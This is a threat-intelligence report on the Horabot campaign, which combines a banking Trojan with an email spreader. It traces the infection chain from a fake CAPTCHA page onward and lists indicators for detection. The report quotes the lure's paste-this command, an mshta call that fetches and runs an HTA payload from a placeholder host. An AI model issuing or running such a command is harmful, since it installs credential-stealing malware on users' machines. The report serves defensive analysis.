This report examines an active malware campaign centered around Horabot, a sophisticated threat bundle combining a banking Trojan, an email propagation module, and a highly layered infection chain. Despite prior public research, this investigation highlights that the threat remains operational and continues to evolve in both delivery and execution techniques.
The incident originated from a security alert triggered by suspicious mshta.exe activity within a monitored environment. Early intervention by endpoint protection successfully neutralized the threat before full execution. However, deeper analysis revealed a complex, multi-stage attack chain leveraging obfuscation, polymorphism, and multi-layered payload delivery.
This document provides a full breakdown of the attack lifecycle, technical mechanisms, and detection opportunities, along with analytical insights into the threat actor’s behavior and intent.
Incident Overview
The investigation began with a generic yet effective detection rule identifying abnormal execution of mshta, a legitimate Windows utility often abused for executing remote scripts. The alert indicated potential malicious activity, prompting further analysis.
Endpoint protection mechanisms intervened quickly, terminating the process and removing associated artifacts. While the immediate threat was contained, the event sparked a deeper investigation into the underlying infrastructure and techniques used in the attack.
Attack Chain Analysis
Stage 1: Initial Access via Social Engineering
The infection begins with a deceptive webpage designed to mimic a CAPTCHA verification screen. Instead of validating human interaction, the page manipulates the victim into manually executing a command.
The user is instructed to open the Windows Run dialog and paste a command similar to:
mshta https://malicious-domain/.../payload.hta
This technique is particularly effective because it bypasses traditional download warnings—users unknowingly execute the payload themselves.
Once triggered, the HTA file launches a minimal loader that opens a blank window and silently retrieves a secondary JavaScript payload from a remote server. The inclusion of meaningless filler text within the script is intended to evade detection mechanisms.
Stage 2: Multi-Layer Payload Delivery and Polymorphism
The JavaScript loader dynamically injects a VBScript into a webpage. This script is fetched from attacker-controlled infrastructure and executed immediately.
A notable characteristic at this stage is server-side polymorphism. Each request to the same resource returns slightly altered code, making signature-based detection significantly harder.
The VBScript is heavily obfuscated and uses a custom decoding routine to reconstruct strings during execution. After decoding, its main role becomes clear: it acts as another loader that retrieves a more advanced script.
The next payload is significantly larger and more complex, functioning as the primary orchestrator of the attack. Its capabilities include:
- Advanced obfuscation techniques
- Anti-analysis checks targeting virtual machines and specific antivirus environments
- Collection of system data such as hostname, IP address, username, and OS version
- Exfiltration of collected information to command-and-control (C2) servers
- Download and deployment of additional components
- Execution of PowerShell commands
- Establishment of persistence via startup shortcuts
- Cleanup of temporary files and processes
During analysis, an exposed panel on attacker infrastructure revealed a list of infected machines. The majority of victims were located in Latin America, with a significant concentration in Mexico.
Stage 3: Payload Execution – AutoIt Loader and Banking Trojan
At this stage, the attack introduces multiple components based on AutoIt, including:
- AutoIt interpreter
- Compilation utility
- Script file
- Encrypted binary blob
The AutoIt script decrypts the blob using AES-192 encryption and loads it directly into memory. The decrypted payload is a Delphi-based banking Trojan, known under various aliases.
This Trojan includes:
- Embedded OpenSSL libraries for secure communication
- SQL queries for extracting stored browser credentials
- Capabilities to interact with remote servers and receive commands
It communicates with multiple endpoints to retrieve configuration data and exfiltrate system information.
Encryption and Communication Mechanisms
The malware employs multiple custom encryption techniques:
1. Stateful XOR-Based String Decryption
A custom algorithm processes encrypted data where each byte depends on both a key and the previous byte. This adds complexity compared to standard XOR encryption.
2. Encrypted Configuration Retrieval
Configuration data is fetched via HTTPS and decrypted locally. It includes:
- C2 server addresses
- Execution triggers
- Additional commands
3. Custom Socket Communication Protocol
The malware establishes a TCP connection to a C2 server and exchanges messages using structured tags. The communication flow includes:
- Initial handshake
- System identification
- Session establishment
- Command execution
This protocol is derived from an open-source remote administration tool but has been modified and expanded with custom commands.
4. Traffic Obfuscation
Network traffic is wrapped in a unique format:
##[keys][encrypted_data]##
This consistent structure makes it detectable despite its obfuscation purpose.
Credential Theft Techniques
The malware is capable of displaying fake banking overlays to capture user credentials. These overlays are decrypted using RC4 and presented as legitimate prompts, tricking users into entering sensitive information.
Linguistic elements within the code strongly suggest Brazilian origin, supported by cultural references and language usage.
Stage 4: Email Propagation Module
The final stage introduces a PowerShell-based spreader that enables lateral distribution through email.
Key functions include:
- Extracting email contacts using the MAPI interface
- Sending harvested addresses to the C2 server
- Filtering addresses using predefined keyword lists
- Generating phishing emails with malicious attachments
- Mass distribution of these emails
The phishing content is typically written in Spanish and urges recipients to open documents containing links to malicious payloads.
Interestingly, parts of the code contain informal comments in Brazilian Portuguese, indicating human authorship rather than fully automated generation.
Detection and Hunting Opportunities
Indicators of Compromise (IoCs)
The campaign relies on identifiable infrastructure patterns, including:
- Fake CAPTCHA URLs
- HTA and script delivery endpoints
- C2 communication domains
- PowerShell staging servers
Behavioral Indicators
Security teams should monitor for:
- Execution of mshta with remote URLs
- Suspicious PowerShell activity
- Creation of files in public directories
- Unusual outbound connections with structured patterns
Detection Rules
YARA rules can identify:
- The Delphi banking Trojan based on export patterns
- The AutoIt loader via cryptographic and API usage
Network detection systems can flag the unique traffic format used in C2 communication.
Our Analysis and Opinion
From an analytical standpoint, this campaign demonstrates a mature and well-maintained malware ecosystem rather than a one-off operation. The layered design of the infection chain shows clear intent to evade detection at multiple levels, from initial execution to network communication. What stands out is not just the technical sophistication, but the operational discipline behind it.
The use of social engineering through fake CAPTCHA pages reflects a growing trend where attackers rely more on user interaction than exploit-based delivery. This approach is effective because it bypasses many automated defenses and leverages human behavior as the weakest link. The attackers clearly understand this dynamic and have refined their technique to appear convincing and low-risk to victims.
Another notable aspect is the continued use of legacy technologies such as HTA, VBScript, and AutoIt. While these may seem outdated, they remain highly effective because they are still supported in many environments and often overlooked by modern security controls. This highlights a gap in defensive strategies, where newer threats are prioritized while older attack surfaces remain exposed.
The presence of polymorphism and custom encryption mechanisms indicates ongoing development and adaptation. The attackers are not relying on static payloads but are actively modifying their delivery methods to stay ahead of detection systems. This level of effort suggests that the campaign is financially motivated and likely tied to organized cybercriminal groups rather than individual actors.
The integration of a banking Trojan with an email propagation module significantly increases the impact of the attack. It allows the threat to scale rapidly while simultaneously monetizing compromised systems through credential theft. This dual-purpose design makes the campaign both aggressive and sustainable.
From a defensive perspective, this case reinforces the importance of layered security. Endpoint protection successfully stopped the threat in this instance, but without proper detection rules and user awareness, the outcome could have been very different. Organizations must focus not only on technical controls but also on educating users about social engineering tactics.
